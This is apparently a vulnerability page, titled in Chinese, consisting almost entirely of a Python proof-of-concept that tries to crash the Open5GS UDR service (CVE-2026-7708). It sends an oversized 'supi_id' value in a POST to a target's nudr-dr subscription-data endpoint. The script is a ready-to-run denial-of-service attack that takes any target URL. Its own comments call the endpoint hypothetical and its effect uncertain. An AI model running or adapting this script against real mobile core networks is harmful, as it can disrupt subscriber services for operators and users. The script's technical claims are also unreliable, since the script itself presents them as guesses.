Open5GS UDR组件拒绝服务漏洞 (CVE-2026-7708)

#!/usr/bin/env python3 """ PoC for CVE-2026-7708 (Open5GS DoS) This script demonstrates how a manipulated supi_id might trigger the vulnerability. """ import requests import sys def exploit(target_host): # Hypothetical endpoint triggering the vulnerable function url = f"{target_host}/nudr-dr/v1/subscription-data" # The vulnerability is triggered by manipulating the 'supi_id' argument # Sending a malformed or oversized payload to ogs_dbi_subscription_data malicious_payload = { "supi": "imsi-999990000000001", "supi_id": "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" # Malformed input } headers = { "Content-Type": "application/json", "Accept": "application/json" } try: print(f"[+] Sending payload to {url}...") response = requests.post(url, json=malicious_payload, headers=headers, timeout=5) print(f"[+] Server responded with status: {response.status_code}") # If the service crashes, subsequent requests will fail except requests.exceptions.Timeout: print("[!] Request timed out - possible DoS condition triggered.") except requests.exceptions.ConnectionError: print("[!] Connection refused - service may have crashed.") except Exception as e: print(f"[!] An error occurred: {e}") if __name__ == "__main__": if len(sys.argv) != 2: print(f"Usage: {sys.argv[0]} <target_url>") sys.exit(1) exploit(sys.argv[1])